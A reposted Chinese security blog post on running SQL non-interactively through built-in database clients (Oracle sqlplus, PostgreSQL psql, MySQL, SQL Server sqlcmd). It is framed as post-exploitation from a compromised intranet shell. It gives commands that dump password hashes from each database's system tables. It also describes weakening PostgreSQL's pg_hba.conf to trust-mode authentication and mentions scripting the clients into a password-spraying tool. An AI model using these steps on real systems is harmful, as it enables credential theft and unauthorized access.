欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 运维知识 > 数据库 >内容正文

数据库

shell sqlplus执行sql文_各主流数据库非交互执行

发布时间:2025/3/20 数据库 39 豆豆
生活随笔 收集整理的这篇文章主要介绍了 shell sqlplus执行sql文_各主流数据库非交互执行 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

声明:    文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无任何关联    另外,这只是一个个人性质的公众号(非任何商业营销号),目的也仅为技术分享交流,并不想去招惹任何是非,故,除了此公众号,将不再考虑做其他的任何推广 ( 细心的你可能也发现了,至今为止,甚至连一则外部广告都不曾出现过 ),再次声明,严禁所有未经本人明确授权的恶意转载 及 非法营销牟利行为

实战场景说明:

    实战中,可能经常会遇到类似这样的问题,比如,内网机脱网,无法进行各种正反向代理转发(或者速度极慢,根本连不上),导致Navicat,SSMS,PLSQL...等各种三方数据库客户端根本无使用条件,再比如,无rdp操作条件,只有一个cmdshell / bash, 但最终目的也只是想在库中快速进行一些账号密码搜集或者脱取库表结构类的简单操作,等等诸如此类吧...

    此时,就需要了解关于各主流数据库在cmd/bash下的一些非交付sql执行方式,非常简单,没任何技术含量,只为笔记留存,方便其它弟兄们,注,如下的所有工具均为各自数据库内置工具,不依赖任何第三方外部工具( 即使数据库没装亦把对应的命令行客户端拆出来独立使用 ),很灵活

0x01 Oracle

安装用户权限下,无密码非交互执行

tv.sql 语句select * from v$version;SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';SELECT name,spare4 FROM sys.user$;exit;默认在装好oracle以后,sqlplus会被自动写到当前用户的环境下,直接执行即可# echo SELECT name,spare4 FROM sys.user$; | sqlplus "/ as sysdba"# sqlplus "/ as sysdba" @c:\tv.sql > c:\Users\public\simlog.logs

0x02 Postgresql

    服务安装用户权限下,无密码非交互执行,修改目标服务配置文件(pg_hba.conf),对127.0.0.1进行trust,之后再想办法覆盖目标原有配置文件[Win下比较特殊,无需重启服务,即时生效]

tv.sql语句select version();SELECT usename FROM pg_user WHERE usesuper IS TRUE;SELECT usename, passwd FROM pg_shadow;PgSQL在装好之后,默认并没有把PSQL没写到当前用户环境变量下,故需要自行指定绝对路径执行# echo SELECT usename, passwd FROM pg_shadow; | C:\SRV\PgSQL9.4.24\bin\psql -h 127.0.0.1 -p 5432 -U postgres# C:\SRV\PgSQL9.4.24\bin\psql -h 127.0.0.1 -p 5432 -U postgres < c:\tv.sql

0x03 Mysql 带账密非交互执行

tv.sql 语句select @@version;select user,host,password from mysql.user;一般情况下,在安装Mysql时都会顺手把环境变量选项勾上,故直接执行即可,如遇未添加环境变量,找到目标mysql安装目录下的bin目录指定绝对路径执行即可# mysql -uroot -p"abc123" -D Mysql # mysql -uroot -p"abc123" -D Mysql -e "select user,host,password from mysql.user\G;select version()\G;";

0x04 SqlServer 带账密非交互执行

tv.sql 语句select @@version;SELECT name, password_hash FROM master.sys.sql_logins;Mssql安装完后,默认都会把sqlcmd添加到当前用户环境变量下,故直接执行即可# sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -i "C:\tv.sql"# sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -Q " SELECT name, password_hash FROM master.sys.sql_logins;"

小结:

    非常简单,不再赘述,其实有些工具稍微灵活配合bat/sh,转身一变就是个服务喷射工具,非常适用于某些特殊场景下,还是那初衷,一篇文章只解决一个小问题,不想掺杂太多废话,祝好运

    如果觉得确实还不错,也欢迎积极转发留言,以便让更多真正需要的人都能看到,如遇到文中错误,也欢迎随时私信指正,非常感谢 

    另外,也非常期待能和更多真正志同道合弟兄一起深入交流学习,( 还是那句话,维护不易,乱七八糟的人就不要来了,非常感谢 )

总结

以上是生活随笔为你收集整理的shell sqlplus执行sql文_各主流数据库非交互执行的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。